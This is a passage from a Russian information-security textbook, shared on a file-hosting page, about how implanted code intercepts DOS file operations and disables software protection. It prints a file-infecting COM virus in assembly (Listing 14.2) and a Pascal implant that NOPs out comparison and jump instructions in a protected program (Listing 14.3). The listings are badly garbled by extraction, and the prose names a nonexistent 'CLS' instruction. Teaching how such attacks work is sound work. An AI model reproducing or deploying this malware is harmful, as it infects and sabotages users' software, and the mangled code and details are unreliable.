Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
ОЗІ / Лекц_ї / все / Методы и средства защиты информации, 2003.doc
Скачиваний:
451
Добавлен:
05.06.2015
Размер:
9.25 Mб
Скачать

Перехват и обработка файловых операций

Программное средство защиты информации (ПСЗИ) производит некоторые файловые операции. Для этого открывается файл, часть его или весь файл считывается в буфер оперативной памяти, обрабатывается и затем записывается в файл с прежним или новым именем.

Активизирующим событием в данном случае является, как правило, открытие файла (int21h, функция3Dh), либо его закрытие.

Таким образом, закладка порождает в системе “исходный файл — ПСЗИ — выходной файл” новые связи, включая в них свои операции и массивы данных.

Рассмотрим механизм работы закладки для DOS, которая встраивается в цепочку прерывания int21hдля следующих функций.

  • Открытие файла(функция3Dh). Закладка отфильтровывает нужные имена или дескрипторы файлов.

  • Чтение из файла(функция3Fh). Закладка выполняет прерывание по старому адресу указателя, затем сохраняет считанный буфер в собственный, обычно скрытый файл, либо исправляет в буфере некоторые байты файла, кроме того возможно влияние на результаты операции чтения. Данные действия особенно опасны для программ подтверждения подлинности электронных документов (электронная подпись).

  • Запись в файл(функция40h). Закладка редактирует нужным образом буфер в оперативной памяти, либо сохраняет файл или часть его в скрытую область, а затем выполняет старое прерывание, в результате чего записывается файл с измененным содержанием, либо каким-то образом дублированный в скрытой области. Закладки такого типа могут навязывать истинность электронной подписи даже тогда, когда файл был изменен.

В листинге 14.2 представлен пример вируса, использующего механизм перехвата файловых операция для модификации файлов типа COMсвоим кодом.

Листинг 14.2.Пример перехвата файловых операций для выполнения несанкционированной записи в файл

.model tiny .code org 100h start: push si push si

mov es,bx mov di,2B0h cli cmpsb jz loc_2 dec si dec di

Продолжение листинга 14.2

mov cl,50h rep movsb mov si,21h*4 push si movs word ptr es:[di],word ptr es:[si] movs word ptr es:[di],word ptr es:[si] pop di mov al,2Bh stosw stosw loc_2: pop di lea si,[di+50h] mov cx,sp sub cx,si push cs pop es rep movsb retn ; новый обработчик 21-го прерывания cmp ah,3Ch ; функция создания файла ? jne loc_5 ; если нет — на выход int 0C0h ; если (2B0h+50h)/4 = 0C0h, т.е. адрес ; старого обработчика int 21h push ax xchg bx,ax mov si,dx ; si = dx locloop_3: dec si lodsw cmp ax,'mo'

loopnz locloop_3 jnz loc_4 push ds push cs pop ds mov ah,40h mov cl,50h cwd int 21h pop ds

Окончание листинга 14.2

loc_4: pop ax clc retf 2 loc_5: db 0EAh int 20h end start

Разрушение программы защиты и схем контроля

Допустим, что злоумышленнику известна интересующая его программа с точностью до команд реализации на конкретном процессоре. Следовательно, возможно смоделировать процесс ее загрузки и выяснить адреса частей программы относительно сегмента оперативной памяти, в которой она загружается.

Это означает, что возможно произвольное изменение кода программы и обеспечение отклонения (как правило, негативного характера) в работе прикладной программы.

Тогда алгоритм действия закладки может быть следующим.

  1. Закладка загружается в память каким-либо образом.

  2. Закладка осуществляет перехват (редактирование цепочки) одного или нескольких прерываний:

  • прерывание DOS “запуск программ и загрузка оверлеев” (int21h, функция4Bh);

  • прерывание BIOS “считать сектор” (int13h, функция02h);

  • прерывание от системного таймера (int08h).

  1. По одному из трех событий закладка получает управление на свой код и далее выполняет следующие операции:

  • проверка принадлежности запущенной программы или уже работающей (для таймерного прерывания) к интересующим программам;

  • определение сегмента, в который загружена программа;

  • запись относительно определенного сегмента загрузки некоторых значений в оперативную память так, чтобы отключить схемы контроля и (или) исправить программу нужным образом.

Принципиальная возможность исправления кода следует из того, что вывод о правильности работы программы делается на основе операций сравнения в арифметико-логическом устройстве процессора.

Сравнение результатов работы выполняется командой CMP, а результат сравнения изменяет один или несколько бит регистра флагов. Следовательно, того же результата можно добиться, изменив эти биты в одной из команд работы с регистром флагов типаCLD,CLS,LAHFи т.д.

Наконец, возможен случай, когда содержательный код программы защиты вместе со схемой контроля будет удален из памяти полностью и все последующие операции будут выполнены без влияния программы защиты.

Таким образом, анализируя в данном случае действия закладки, необходимо считать возможным любые искажения кода программ.

Основным способом активизации разрушающих закладок является запуск ассоциированных с ними программ. При этом закладка получает управление первой и выполняет какие-либо действия (изменение адресов прерывания на собственные обработчики, исправление в коде программ защиты и т.д.).

Листинг 14.3.Пример закладки, разрушающей схему контроля

{$M1024,0,0} {$I-}usesDos; constCMPSeg=$2E7F; { Адреса ячеек, подлежащих модификации, }CMPOfs=12; { указанные относительно PSP }JMPSeg=$2EA4;JMPOfs=2;varDOSSeg,DOSOfs,Psp:word;OldInt8h:pointer;procedureInt8h;interrupt;beginif(Psp=PrefixSeg)thenbeginif(Mem[DOSSeg:DOSOfs]=0)thenasmmovah, 62hint21hmovPsp,bx

end;endelsebeginMemW[CMPSeg+Psp:CMPOfs]:=$9090; { ЗаписьNOPвместоCMP} MemW[JMPSeg+Psp:JMPOfs]:=$9090; { ЗаписьNOPвместоJMP}

Окончание листинга 14.3

end; asm pushf call dword ptr OldInt8h end;

end; begin asm mov ah, 34h int 21h mov DOSOfs, bx mov DOSSeg, es end; Psp:=PrefixSeg; GetIntVec(8, OldInt8h); SwapVectors; SetIntVec(8, @Int8h); Exec('SECURED.EXE', ''); SetIntVec(8, OldInt8h); SwapVectors; end.

Часть

Защита информации